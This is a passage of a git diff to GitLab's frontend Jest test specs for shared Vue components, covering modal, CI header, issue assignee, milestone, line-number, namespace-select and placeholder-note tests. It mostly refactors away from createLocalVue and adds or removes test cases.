+ createComponent({
+ propsData: {
+ copyButtonTitle: 'Copy token',
+ },
+ });
+
+ expect(findCopyButton().props('title')).toBe('Copy token');
+ });
+
+ it('renders slots in `gl-form-group`', () => {
+ const description = 'Mock input description';
+ createComponent({
+ slots: {
+ description,
+ },
+ });
+
+ expect(wrapper.findByText(description).exists()).toBe(true);
+ });
+});
diff --git a/spec/frontend/vue_shared/components/gl_modal_vuex_spec.js b/spec/frontend/vue_shared/components/gl_modal_vuex_spec.js
index 390a70792f3..b837a998cd6 100644
--- a/spec/frontend/vue_shared/components/gl_modal_vuex_spec.js
+++ b/spec/frontend/vue_shared/components/gl_modal_vuex_spec.js
@@ -1,12 +1,12 @@
import { GlModal } from '@gitlab/ui';
-import { shallowMount, createLocalVue } from '@vue/test-utils';
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
import Vuex from 'vuex';
import { BV_SHOW_MODAL, BV_HIDE_MODAL } from '~/lib/utils/constants';
import GlModalVuex from '~/vue_shared/components/gl_modal_vuex.vue';
import createState from '~/vuex_shared/modules/modal/state';
-const localVue = createLocalVue();
-localVue.use(Vuex);
+Vue.use(Vuex);
const TEST_SLOT = 'Lorem ipsum modal dolar sit.';
const TEST_MODAL_ID = 'my-modal-id';
@@ -36,7 +36,6 @@ describe('GlModalVuex', () => {
wrapper = shallowMount(GlModalVuex, {
...options,
- localVue,
store,
propsData,
stubs: {
diff --git a/spec/frontend/vue_shared/components/header_ci_component_spec.js b/spec/frontend/vue_shared/components/header_ci_component_spec.js
index b76f475a6fb..aea76f164f0 100644
--- a/spec/frontend/vue_shared/components/header_ci_component_spec.js
+++ b/spec/frontend/vue_shared/components/header_ci_component_spec.js
@@ -1,4 +1,4 @@
-import { GlButton, GlAvatarLink } from '@gitlab/ui';
+import { GlButton, GlAvatarLink, GlTooltip } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import CiIconBadge from '~/vue_shared/components/ci_badge_link.vue';
@@ -32,6 +32,7 @@ describe('Header CI Component', () => {
const findTimeAgo = () => wrapper.findComponent(TimeagoTooltip);
const findUserLink = () => wrapper.findComponent(GlAvatarLink);
const findSidebarToggleBtn = () => wrapper.findComponent(GlButton);
+ const findStatusTooltip = () => wrapper.findComponent(GlTooltip);
const findActionButtons = () => wrapper.findByTestId('ci-header-action-buttons');
const findHeaderItemText = () => wrapper.findByTestId('ci-header-item-text');
@@ -91,6 +92,21 @@ describe('Header CI Component', () => {
});
});
+ describe('when the user has a status', () => {
+ const STATUS_MESSAGE = 'Working on exciting features...';
+
+ beforeEach(() => {
+ createComponent({
+ itemName: 'Pipeline',
+ user: { ...defaultProps.user, status: { message: STATUS_MESSAGE } },
+ });
+ });
+
+ it('renders a tooltip', () => {
+ expect(findStatusTooltip().text()).toBe(STATUS_MESSAGE);
+ });
+ });
+
describe('with data from GraphQL', () => {
const userId = 1;
diff --git a/spec/frontend/vue_shared/components/issuable/issuable_header_warnings_spec.js b/spec/frontend/vue_shared/components/issuable/issuable_header_warnings_spec.js
deleted file mode 100644
index ad8331afcff..00000000000
--- a/spec/frontend/vue_shared/components/issuable/issuable_header_warnings_spec.js
+++ /dev/null
@@ -1,89 +0,0 @@
-import { createLocalVue } from '@vue/test-utils';
-import Vuex from 'vuex';
-import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
-import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
-import { createStore as createMrStore } from '~/mr_notes/stores';
-import createIssueStore from '~/notes/stores';
-import IssuableHeaderWarnings from '~/vue_shared/components/issuable/issuable_header_warnings.vue';
-
-const ISSUABLE_TYPE_ISSUE = 'issue';
-const ISSUABLE_TYPE_MR = 'merge request';
-
-const localVue = createLocalVue();
-localVue.use(Vuex);
-
-describe('IssuableHeaderWarnings', () => {
- let wrapper;
-
- const findConfidentialIcon = () => wrapper.findByTestId('confidential');
- const findLockedIcon = () => wrapper.findByTestId('locked');
- const findHiddenIcon = () => wrapper.findByTestId('hidden');
-
- const renderTestMessage = (renders) => (renders ? 'renders' : 'does not render');
-
- const createComponent = ({ store, provide }) => {
- wrapper = shallowMountExtended(IssuableHeaderWarnings, {
- store,
- localVue,
- provide,
- directives: {
- GlTooltip: createMockDirective(),
- },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- describe.each`
- issuableType
- ${ISSUABLE_TYPE_ISSUE} | ${ISSUABLE_TYPE_MR}
- `(`when issuableType=$issuableType`, ({ issuableType }) => {
- describe.each`
- lockStatus | confidentialStatus | hiddenStatus
- ${true} | ${true} | ${false}
- ${true} | ${false} | ${false}
- ${false} | ${true} | ${false}
- ${false} | ${false} | ${false}
- ${true} | ${true} | ${true}
- ${true} | ${false} | ${true}
- ${false} | ${true} | ${true}
- ${false} | ${false} | ${true}
- `(
- `when locked=$lockStatus, confidential=$confidentialStatus, and hidden=$hiddenStatus`,
- ({ lockStatus, confidentialStatus, hiddenStatus }) => {
- const store = issuableType === ISSUABLE_TYPE_ISSUE ? createIssueStore() : createMrStore();
-
- beforeEach(() => {
- store.getters.getNoteableData.confidential = confidentialStatus;
- store.getters.getNoteableData.discussion_locked = lockStatus;
-
- createComponent({ store, provide: { hidden: hiddenStatus } });
- });
-
- it(`${renderTestMessage(lockStatus)} the locked icon`, () => {
- expect(findLockedIcon().exists()).toBe(lockStatus);
- });
-
- it(`${renderTestMessage(confidentialStatus)} the confidential icon`, () => {
- expect(findConfidentialIcon().exists()).toBe(confidentialStatus);
- });
-
- it(`${renderTestMessage(confidentialStatus)} the hidden icon`, () => {
- const hiddenIcon = findHiddenIcon();
-
- expect(hiddenIcon.exists()).toBe(hiddenStatus);
-
- if (hiddenStatus) {
- expect(hiddenIcon.attributes('title')).toBe(
- 'This issue is hidden because its author has been banned',
- );
- expect(getBinding(hiddenIcon.element, 'gl-tooltip')).not.toBeUndefined();
- }
- });
- },
- );
- });
-});
diff --git a/spec/frontend/vue_shared/components/issue/issue_assignees_spec.js b/spec/frontend/vue_shared/components/issue/issue_assignees_spec.js
deleted file mode 100644
index f74b9b37197..00000000000
--- a/spec/frontend/vue_shared/components/issue/issue_assignees_spec.js
+++ /dev/null
@@ -1,145 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import { mockAssigneesList } from 'jest/boards/mock_data';
-import IssueAssignees from '~/vue_shared/components/issue/issue_assignees.vue';
-import UserAvatarLink from '~/vue_shared/components/user_avatar/user_avatar_link.vue';
-
-const TEST_CSS_CLASSES = 'test-classes';
-const TEST_MAX_VISIBLE = 4;
-const TEST_ICON_SIZE = 16;
-
-describe('IssueAssigneesComponent', () => {
- let wrapper;
- let vm;
-
- const factory = (props) => {
- wrapper = shallowMount(IssueAssignees, {
- propsData: {
- assignees: mockAssigneesList,
- ...props,
- },
- });
- vm = wrapper.vm;
- };
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- const findTooltipText = () => wrapper.find('.js-assignee-tooltip').text();
- const findAvatars = () => wrapper.findAll(UserAvatarLink);
- const findOverflowCounter = () => wrapper.find('.avatar-counter');
-
- it('returns default data props', () => {
- factory({ assignees: mockAssigneesList });
- expect(vm.iconSize).toBe(24);
- expect(vm.maxVisible).toBe(3);
- expect(vm.maxAssignees).toBe(99);
- });
-
- describe.each`
- numAssignees | maxVisible | expectedShown | expectedHidden
- ${0} | ${3} | ${0} | ${''}
- ${1} | ${3} | ${1} | ${''}
- ${2} | ${3} | ${2} | ${''}
- ${3} | ${3} | ${3} | ${''}
- ${4} | ${3} | ${2} | ${'+2'}
- ${5} | ${2} | ${1} | ${'+4'}
- ${1000} | ${5} | ${4} | ${'99+'}
- `(
- 'with assignees ($numAssignees) and maxVisible ($maxVisible)',
- ({ numAssignees, maxVisible, expectedShown, expectedHidden }) => {
- beforeEach(() => {
- factory({ assignees: Array(numAssignees).fill({}), maxVisible });
- });
-
- if (expectedShown) {
- it('shows assignee avatars', () => {
- expect(findAvatars().length).toEqual(expectedShown);
- });
- } else {
- it('does not show assignee avatars', () => {
- expect(findAvatars().length).toEqual(0);
- });
- }
-
- if (expectedHidden) {
- it('shows overflow counter', () => {
- const hiddenCount = numAssignees - expectedShown;
-
- expect(findOverflowCounter().exists()).toBe(true);
- expect(findOverflowCounter().text()).toEqual(expectedHidden.toString());
- expect(findOverflowCounter().attributes('title')).toEqual(
- `${hiddenCount} more assignees`,
- );
- });
- } else {
- it('does not show overflow counter', () => {
- expect(findOverflowCounter().exists()).toBe(false);
- });
- }
- },
- );
-
- describe('when mounted', () => {
- beforeEach(() => {
- factory({
- imgCssClasses: TEST_CSS_CLASSES,
- maxVisible: TEST_MAX_VISIBLE,
- iconSize: TEST_ICON_SIZE,
- });
- });
-
- it('computes alt text for assignee avatar', () => {
- expect(vm.avatarUrlTitle(mockAssigneesList[0])).toBe('Assigned to Terrell Graham');
- });
-
- it('renders assignee', () => {
- const data = findAvatars().wrappers.map((x) => ({
- ...x.props(),
- }));
-
- const expected = mockAssigneesList.slice(0, TEST_MAX_VISIBLE - 1).map((x) =>
- expect.objectContaining({
- linkHref: x.web_url,
- imgAlt: `Assigned to ${x.name}`,
- imgCssClasses: TEST_CSS_CLASSES,
- imgSrc: x.avatar_url,
- imgSize: TEST_ICON_SIZE,
- }),
- );
-
- expect(data).toEqual(expected);
- });
-
- describe('assignee tooltips', () => {
- it('renders "Assignee" header', () => {
- expect(findTooltipText()).toContain('Assignee');
- });
-
- it('renders assignee name', () => {
- expect(findTooltipText()).toContain('Terrell Graham');
- });
-
- it('renders assignee @username', () => {
- expect(findTooltipText()).toContain('@monserrate.gleichner');
- });
-
- it('does not render `@` when username not available', () => {
- const userName = 'User without username';
- factory({
- assignees: [
- {
- name: userName,
- },
- ],
- });
-
- const tooltipText = findTooltipText();
-
- expect(tooltipText).toContain(userName);
- expect(tooltipText).not.toContain('@');
- });
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/issue/issue_milestone_spec.js b/spec/frontend/vue_shared/components/issue/issue_milestone_spec.js
deleted file mode 100644
index 9a121050225..00000000000
--- a/spec/frontend/vue_shared/components/issue/issue_milestone_spec.js
+++ /dev/null
@@ -1,160 +0,0 @@
-import { GlIcon } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import Vue from 'vue';
-
-import { mockMilestone } from 'jest/boards/mock_data';
-import IssueMilestone from '~/vue_shared/components/issue/issue_milestone.vue';
-
-const createComponent = (milestone = mockMilestone) => {
- const Component = Vue.extend(IssueMilestone);
-
- return shallowMount(Component, {
- propsData: {
- milestone,
- },
- });
-};
-
-describe('IssueMilestoneComponent', () => {
- let wrapper;
- let vm;
-
- beforeEach((done) => {
- wrapper = createComponent();
-
- ({ vm } = wrapper);
-
- Vue.nextTick(done);
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('computed', () => {
- describe('isMilestoneStarted', () => {
- it('should return `false` when milestoneStart prop is not defined', async () => {
- wrapper.setProps({
- milestone: { ...mockMilestone, start_date: '' },
- });
- await wrapper.vm.$nextTick();
-
- expect(wrapper.vm.isMilestoneStarted).toBe(false);
- });
-
- it('should return `true` when milestone start date is past current date', async () => {
- await wrapper.setProps({
- milestone: { ...mockMilestone, start_date: '1990-07-22' },
- });
- await wrapper.vm.$nextTick();
-
- expect(wrapper.vm.isMilestoneStarted).toBe(true);
- });
- });
-
- describe('isMilestonePastDue', () => {
- it('should return `false` when milestoneDue prop is not defined', async () => {
- wrapper.setProps({
- milestone: { ...mockMilestone, due_date: '' },
- });
- await wrapper.vm.$nextTick();
-
- expect(wrapper.vm.isMilestonePastDue).toBe(false);
- });
-
- it('should return `true` when milestone due is past current date', () => {
- wrapper.setProps({
- milestone: { ...mockMilestone, due_date: '1990-07-22' },
- });
-
- expect(wrapper.vm.isMilestonePastDue).toBe(true);
- });
- });
-
- describe('milestoneDatesAbsolute', () => {
- it('returns string containing absolute milestone due date', () => {
- expect(vm.milestoneDatesAbsolute).toBe('(December 31, 2019)');
- });
-
- it('returns string containing absolute milestone start date when due date is not present', async () => {
- wrapper.setProps({
- milestone: { ...mockMilestone, due_date: '' },
- });
- await wrapper.vm.$nextTick();
-
- expect(wrapper.vm.milestoneDatesAbsolute).toBe('(January 1, 2018)');
- });
-
- it('returns empty string when both milestone start and due dates are not present', async () => {
- wrapper.setProps({
- milestone: { ...mockMilestone, start_date: '', due_date: '' },
- });
- await wrapper.vm.$nextTick();
-
- expect(wrapper.vm.milestoneDatesAbsolute).toBe('');
- });
- });
-
- describe('milestoneDatesHuman', () => {
- it('returns string containing milestone due date when date is yet to be due', async () => {
- wrapper.setProps({
- milestone: { ...mockMilestone, due_date: `${new Date().getFullYear() + 10}-01-01` },
- });
- await wrapper.vm.$nextTick();
-
- expect(wrapper.vm.milestoneDatesHuman).toContain('years remaining');
- });
-
- it('returns string containing milestone start date when date has already started and due date is not present', async () => {
- wrapper.setProps({
- milestone: { ...mockMilestone, start_date: '1990-07-22', due_date: '' },
- });
- await wrapper.vm.$nextTick();
-
- expect(wrapper.vm.milestoneDatesHuman).toContain('Started');
- });
-
- it('returns string containing milestone start date when date is yet to start and due date is not present', async () => {
- wrapper.setProps({
- milestone: {
- ...mockMilestone,
- start_date: `${new Date().getFullYear() + 10}-01-01`,
- due_date: '',
- },
- });
- await wrapper.vm.$nextTick();
-
- expect(wrapper.vm.milestoneDatesHuman).toContain('Starts');
- });
-
- it('returns empty string when milestone start and due dates are not present', async () => {
- wrapper.setProps({
- milestone: { ...mockMilestone, start_date: '', due_date: '' },
- });
- await wrapper.vm.$nextTick();
-
- expect(wrapper.vm.milestoneDatesHuman).toBe('');
- });
- });
- });
-
- describe('template', () => {
- it('renders component root element with class `issue-milestone-details`', () => {
- expect(vm.$el.classList.contains('issue-milestone-details')).toBe(true);
- });
-
- it('renders milestone icon', () => {
- expect(wrapper.find(GlIcon).props('name')).toBe('clock');
- });
-
- it('renders milestone title', () => {
- expect(vm.$el.querySelector('.milestone-title').innerText.trim()).toBe(mockMilestone.title);
- });
-
- it('renders milestone tooltip', () => {
- expect(vm.$el.querySelector('.js-item-milestone').innerText.trim()).toContain(
- mockMilestone.title,
- );
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/issue/related_issuable_item_spec.js b/spec/frontend/vue_shared/components/issue/related_issuable_item_spec.js
deleted file mode 100644
index 6ab828efebe..00000000000
--- a/spec/frontend/vue_shared/components/issue/related_issuable_item_spec.js
+++ /dev/null
@@ -1,206 +0,0 @@
-import { mount } from '@vue/test-utils';
-import { TEST_HOST } from 'helpers/test_constants';
-import IssueDueDate from '~/boards/components/issue_due_date.vue';
-import { formatDate } from '~/lib/utils/datetime_utility';
-import RelatedIssuableItem from '~/vue_shared/components/issue/related_issuable_item.vue';
-import { defaultAssignees, defaultMilestone } from './related_issuable_mock_data';
-
-describe('RelatedIssuableItem', () => {
- let wrapper;
-
- function mountComponent({ mountMethod = mount, stubs = {}, props = {}, slots = {} } = {}) {
- wrapper = mountMethod(RelatedIssuableItem, {
- propsData: props,
- slots,
- stubs,
- });
- }
-
- const props = {
- idKey: 1,
- displayReference: 'gitlab-org/gitlab-test#1',
- pathIdSeparator: '#',
- path: `${TEST_HOST}/path`,
- title: 'title',
- confidential: true,
- dueDate: '1990-12-31',
- weight: 10,
- createdAt: '2018-12-01T00:00:00.00Z',
- milestone: defaultMilestone,
- assignees: defaultAssignees,
- eventNamespace: 'relatedIssue',
- };
- const slots = {
- dueDate: '<div class="js-due-date-slot"></div>',
- weight: '<div class="js-weight-slot"></div>',
- };
-
- const findRemoveButton = () => wrapper.find({ ref: 'removeButton' });
- const findLockIcon = () => wrapper.find({ ref: 'lockIcon' });
-
- beforeEach(() => {
- mountComponent({ props, slots });
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('contains issuable-info-container class when canReorder is false', () => {
- expect(wrapper.props('canReorder')).toBe(false);
- expect(wrapper.find('.issuable-info-container').exists()).toBe(true);
- });
-
- it('does not render token state', () => {
- expect(wrapper.find('.text-secondary svg').exists()).toBe(false);
- });
-
- it('does not render remove button', () => {
- expect(wrapper.find({ ref: 'removeButton' }).exists()).toBe(false);
- });
-
- describe('token title', () => {
- it('links to computedPath', () => {
- expect(wrapper.find('.item-title a').attributes('href')).toEqual(wrapper.props('path'));
- });
-
- it('renders confidential icon', () => {
- expect(wrapper.find('.confidential-icon').exists()).toBe(true);
- });
-
- it('renders title', () => {
- expect(wrapper.find('.item-title a').text()).toEqual(props.title);
- });
- });
-
- describe('token state', () => {
- const tokenState = () => wrapper.find({ ref: 'iconElementXL' });
-
- beforeEach(() => {
- wrapper.setProps({ state: 'opened' });
- });
-
- it('renders if hasState', () => {
- expect(tokenState().exists()).toBe(true);
- });
-
- it('renders state title', () => {
- const stateTitle = tokenState().attributes('title');
- const formattedCreateDate = formatDate(props.createdAt);
-
- expect(stateTitle).toContain('<span class="bold">Created</span>');
- expect(stateTitle).toContain(`<span class="text-tertiary">${formattedCreateDate}</span>`);
- });
-
- it('renders aria label', () => {
- expect(tokenState().attributes('aria-label')).toEqual('opened');
- });
-
- it('renders open icon when open state', () => {
- expect(tokenState().classes('issue-token-state-icon-open')).toBe(true);
- });
-
- it('renders close icon when close state', async () => {
- wrapper.setProps({
- state: 'closed',
- closedAt: '2018-12-01T00:00:00.00Z',
- });
- await wrapper.vm.$nextTick();
-
- expect(tokenState().classes('issue-token-state-icon-closed')).toBe(true);
- });
- });
-
- describe('token metadata', () => {
- const tokenMetadata = () => wrapper.find('.item-meta');
-
- it('renders item path and ID', () => {
- const pathAndID = tokenMetadata().find('.item-path-id').text();
-
- expect(pathAndID).toContain('gitlab-org/gitlab-test');
- expect(pathAndID).toContain('#1');
- });
-
- it('renders milestone icon and name', () => {
- const milestoneIcon = tokenMetadata().find('.item-milestone svg');
- const milestoneTitle = tokenMetadata().find('.item-milestone .milestone-title');
-
- expect(milestoneIcon.attributes('data-testid')).toBe('clock-icon');
- expect(milestoneTitle.text()).toContain('Milestone title');
- });
-
- it('renders due date component with correct due date', () => {
- expect(wrapper.find(IssueDueDate).props('date')).toBe(props.dueDate);
- });
-
- it('does not render red icon for overdue issue that is closed', async () => {
- mountComponent({
- props: {
- ...props,
- closedAt: '2018-12-01T00:00:00.00Z',
- },
- });
- await wrapper.vm.$nextTick();
-
- expect(wrapper.find(IssueDueDate).props('closed')).toBe(true);
- });
- });
-
- describe('token assignees', () => {
- it('renders assignees avatars', () => {
- // Expect 2 times 2 because assignees are rendered twice, due to layout issues
- expect(wrapper.findAll('.item-assignees .user-avatar-link').length).toBeDefined();
-
- expect(wrapper.find('.item-assignees .avatar-counter').text()).toContain('+2');
- });
- });
-
- describe('remove button', () => {
- beforeEach(() => {
- wrapper.setProps({ canRemove: true });
- });
-
- it('renders if canRemove', () => {
- expect(findRemoveButton().exists()).toBe(true);
- });
-
- it('does not render the lock icon', () => {
- expect(findLockIcon().exists()).toBe(false);
- });
-
- it('renders disabled button when removeDisabled', async () => {
- wrapper.setData({ removeDisabled: true });
- await wrapper.vm.$nextTick();
-
- expect(findRemoveButton().attributes('disabled')).toEqual('disabled');
- });
-
- it('triggers onRemoveRequest when clicked', async () => {
- findRemoveButton().trigger('click');
- await wrapper.vm.$nextTick();
- const { relatedIssueRemoveRequest } = wrapper.emitted();
-
- expect(relatedIssueRemoveRequest.length).toBe(1);
- expect(relatedIssueRemoveRequest[0]).toEqual([props.idKey]);
- });
- });
-
- describe('when issue is locked', () => {
- const lockedMessage = 'Issues created from a vulnerability cannot be removed';
-
- beforeEach(() => {
- wrapper.setProps({
- isLocked: true,
- lockedMessage,
- });
- });
-
- it('does not render the remove button', () => {
- expect(findRemoveButton().exists()).toBe(false);
- });
-
- it('renders the lock icon with the correct title', () => {
- expect(findLockIcon().attributes('title')).toBe(lockedMessage);
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/line_numbers_spec.js b/spec/frontend/vue_shared/components/line_numbers_spec.js
new file mode 100644
index 00000000000..5bedd0ccd02
--- /dev/null
+++ b/spec/frontend/vue_shared/components/line_numbers_spec.js
@@ -0,0 +1,71 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlIcon, GlLink } from '@gitlab/ui';
+import LineNumbers from '~/vue_shared/components/line_numbers.vue';
+
+describe('Line Numbers component', () => {
+ let wrapper;
+ const lines = 10;
+
+ const createComponent = () => {
+ wrapper = shallowMount(LineNumbers, { propsData: { lines } });
+ };
+
+ const findGlIcon = () => wrapper.findComponent(GlIcon);
+ const findLineNumbers = () => wrapper.findAllComponents(GlLink);
+ const findFirstLineNumber = () => findLineNumbers().at(0);
+ const findSecondLineNumber = () => findLineNumbers().at(1);
+
+ beforeEach(() => createComponent());
+
+ afterEach(() => wrapper.destroy());
+
+ describe('rendering', () => {
+ it('renders Line Numbers', () => {
+ expect(findLineNumbers().length).toBe(lines);
+ expect(findFirstLineNumber().attributes()).toMatchObject({
+ id: 'L1',
+ href: '#L1',
+ });
+ });
+
+ it('renders a link icon', () => {
+ expect(findGlIcon().props()).toMatchObject({
+ size: 12,
+ name: 'link',
+ });
+ });
+ });
+
+ describe('clicking a line number', () => {
+ let firstLineNumber;
+ let firstLineNumberElement;
+
+ beforeEach(() => {
+ firstLineNumber = findFirstLineNumber();
+ firstLineNumberElement = firstLineNumber.element;
+
+ jest.spyOn(firstLineNumberElement, 'scrollIntoView');
+ jest.spyOn(firstLineNumberElement.classList, 'add');
+ jest.spyOn(firstLineNumberElement.classList, 'remove');
+
+ firstLineNumber.vm.$emit('click');
+ });
+
+ it('adds the highlight (hll) class', () => {
+ expect(firstLineNumberElement.classList.add).toHaveBeenCalledWith('hll');
+ });
+
+ it('removes the highlight (hll) class from a previously highlighted line', () => {
+ findSecondLineNumber().vm.$emit('click');
+
+ expect(firstLineNumberElement.classList.remove).toHaveBeenCalledWith('hll');
+ });
+
+ it('scrolls the line into view', () => {
+ expect(firstLineNumberElement.scrollIntoView).toHaveBeenCalledWith({
+ behavior: 'smooth',
+ block: 'center',
+ });
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/markdown/toolbar_spec.js b/spec/frontend/vue_shared/components/markdown/toolbar_spec.js
index eddc4033a65..8bff85b0bda 100644
--- a/spec/frontend/vue_shared/components/markdown/toolbar_spec.js
+++ b/spec/frontend/vue_shared/components/markdown/toolbar_spec.js
@@ -1,24 +1,17 @@
import { mount } from '@vue/test-utils';
-import { isExperimentVariant } from '~/experimentation/utils';
-import InviteMembersTrigger from '~/invite_members/components/invite_members_trigger.vue';
-import { INVITE_MEMBERS_IN_COMMENT } from '~/invite_members/constants';
import Toolbar from '~/vue_shared/components/markdown/toolbar.vue';
-jest.mock('~/experimentation/utils', () => ({ isExperimentVariant: jest.fn() }));
-
describe('toolbar', () => {
let wrapper;
const createMountedWrapper = (props = {}) => {
wrapper = mount(Toolbar, {
propsData: { markdownDocsPath: '', ...props },
- stubs: { 'invite-members-trigger': true },
});
};
afterEach(() => {
wrapper.destroy();
- isExperimentVariant.mockReset();
});
describe('user can attach file', () => {
@@ -40,36 +33,4 @@ describe('toolbar', () => {
expect(wrapper.vm.$el.querySelector('.uploading-container')).toBeNull();
});
});
-
- describe('user can invite member', () => {
- const findInviteLink = () => wrapper.find(InviteMembersTrigger);
-
- beforeEach(() => {
- isExperimentVariant.mockReturnValue(true);
- createMountedWrapper();
- });
-
- it('should render the invite members trigger', () => {
- expect(findInviteLink().exists()).toBe(true);
- });
-
- it('should have correct props', () => {
- expect(findInviteLink().props().displayText).toBe('Invite Member');
- expect(findInviteLink().props().trackExperiment).toBe(INVITE_MEMBERS_IN_COMMENT);
- expect(findInviteLink().props().triggerSource).toBe(INVITE_MEMBERS_IN_COMMENT);
- });
- });
-
- describe('user can not invite member', () => {
- const findInviteLink = () => wrapper.find(InviteMembersTrigger);
-
- beforeEach(() => {
- isExperimentVariant.mockReturnValue(false);
- createMountedWrapper();
- });
-
- it('should render the invite members trigger', () => {
- expect(findInviteLink().exists()).toBe(false);
- });
- });
});
diff --git a/spec/frontend/vue_shared/components/namespace_select/mock_data.js b/spec/frontend/vue_shared/components/namespace_select/mock_data.js
new file mode 100644
index 00000000000..c9d96672e85
--- /dev/null
+++ b/spec/frontend/vue_shared/components/namespace_select/mock_data.js
@@ -0,0 +1,11 @@
+export const group = [
+ { id: 1, name: 'Group 1', humanName: 'Group 1' },
+ { id: 2, name: 'Subgroup 1', humanName: 'Group 1 / Subgroup 1' },
+];
+
+export const user = [{ id: 3, name: 'User namespace 1', humanName: 'User namespace 1' }];
+
+export const namespaces = {
+ group,
+ user,
+};
diff --git a/spec/frontend/vue_shared/components/namespace_select/namespace_select_spec.js b/spec/frontend/vue_shared/components/namespace_select/namespace_select_spec.js
new file mode 100644
index 00000000000..8f07f63993d
--- /dev/null
+++ b/spec/frontend/vue_shared/components/namespace_select/namespace_select_spec.js
@@ -0,0 +1,86 @@
+import { GlDropdown, GlDropdownItem, GlDropdownSectionHeader } from '@gitlab/ui';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import NamespaceSelect, {
+ i18n,
+} from '~/vue_shared/components/namespace_select/namespace_select.vue';
+import { user, group, namespaces } from './mock_data';
+
+describe('Namespace Select', () => {
+ let wrapper;
+
+ const createComponent = (props = {}) =>
+ shallowMountExtended(NamespaceSelect, {
+ propsData: {
+ data: namespaces,
+ ...props,
+ },
+ });
+
+ const wrappersText = (arr) => arr.wrappers.map((w) => w.text());
+ const flatNamespaces = () => [...group, ...user];
+ const findDropdown = () => wrapper.findComponent(GlDropdown);
+ const findDropdownAttributes = (attr) => findDropdown().attributes(attr);
+ const selectedDropdownItemText = () => findDropdownAttributes('text');
+ const findDropdownItems = () => wrapper.findAllComponents(GlDropdownItem);
+ const findSectionHeaders = () => wrapper.findAllComponents(GlDropdownSectionHeader);
+
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders the dropdown', () => {
+ expect(findDropdown().exists()).toBe(true);
+ });
+
+ it('renders each dropdown item', () => {
+ const items = findDropdownItems().wrappers;
+ expect(items).toHaveLength(flatNamespaces().length);
+ });
+
+ it('renders the human name for each item', () => {
+ const dropdownItems = wrappersText(findDropdownItems());
+ const flatNames = flatNamespaces().map(({ humanName }) => humanName);
+ expect(dropdownItems).toEqual(flatNames);
+ });
+
+ it('sets the initial dropdown text', () => {
+ expect(selectedDropdownItemText()).toBe(i18n.DEFAULT_TEXT);
+ });
+
+ it('splits group and user namespaces', () => {
+ const headers = findSectionHeaders();
+ expect(headers).toHaveLength(2);
+ expect(wrappersText(headers)).toEqual([i18n.GROUPS, i18n.USERS]);
+ });
+
+ it('sets the dropdown to full width', () => {
+ expect(findDropdownAttributes('block')).toBeUndefined();
+
+ wrapper = createComponent({ fullWidth: true });
+
+ expect(findDropdownAttributes('block')).not.toBeUndefined();
+ expect(findDropdownAttributes('block')).toBe('true');
+ });
+
+ describe('with a selected namespace', () => {
+ const selectedGroupIndex = 1;
+ const selectedItem = group[selectedGroupIndex];
+
+ beforeEach(() => {
+ findDropdownItems().at(selectedGroupIndex).vm.$emit('click');
+ });
+
+ it('sets the dropdown text', () => {
+ expect(selectedDropdownItemText()).toBe(selectedItem.humanName);
+ });
+
+ it('emits the `select` event when a namespace is selected', () => {
+ const args = [selectedItem];
+ expect(wrapper.emitted('select')).toEqual([args]);
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/notes/placeholder_note_spec.js b/spec/frontend/vue_shared/components/notes/placeholder_note_spec.js
index 0f30b50da0b..c8dab0204d3 100644
--- a/spec/frontend/vue_shared/components/notes/placeholder_note_spec.js
+++ b/spec/frontend/vue_shared/components/notes/placeholder_note_spec.js
@@ -1,10 +1,11 @@
-import { shallowMount, createLocalVue } from '@vue/test-utils';
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
import Vuex from 'vuex';
import IssuePlaceholderNote from '~/vue_shared/components/notes/placeholder_note.vue';
+import UserAvatarLink from '~/vue_shared/components/user_avatar/user_avatar_link.vue';
import { userDataMock } from '../../../notes/mock_data';
-const localVue = createLocalVue();
-localVue.use(Vuex);
+Vue.use(Vuex);
const getters = {
getUserData: () => userDataMock,
@@ -15,9 +16,8 @@ describe('Issue placeholder note component', () => {
const findNote = () => wrapper.find({ ref: 'note' });
- const createComponent = (isIndividual = false) => {
+ const createComponent = (isIndividual = false, propsData = {}) => {
wrapper = shallowMount(IssuePlaceholderNote, {
- localVue,
store: new Vuex.Store({
getters,
}),
@@ -26,6 +26,7 @@ describe('Issue placeholder note component', () => {
body: 'Foo',
individual_note: isIndividual,
},
+ ...propsData,
},
});
};
@@ -52,4 +53,17 @@ describe('Issue placeholder note component', () => {
expect(findNote().classes()).toContain('discussion');
});
+
+ describe('avatar size', () => {
+ it.each`
+ size | line | isOverviewTab
+ ${40} | ${null} | ${false}
+ ${24} | ${{ line_code: '123' }} | ${false}
+ ${40} | ${{ line_code: '123' }} | ${true}
+ `('renders avatar $size for $line and $isOverviewTab', ({ size, line, isOverviewTab }) => {
+ createComponent(false, { line, isOverviewTab });
+
+ expect(wrapper.findComponent(UserAvatarLink).props('imgSize')).toBe(size);
+ });
+ });
});
diff --git a/spec/frontend/vue_shared/components/pagination_bar/pagination_bar_spec.js b/spec/frontend/vue_shared/components/pagination_bar/pagination_bar_spec.js
new file mode 100644
index 00000000000..08119dee8af
--- /dev/null
+++ b/spec/frontend/vue_shared/components/pagination_bar/pagination_bar_spec.js
@@ -0,0 +1,93 @@
+import { GlPagination, GlDropdown, GlDropdownItem } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+import PaginationBar from '~/vue_shared/components/pagination_bar/pagination_bar.vue';
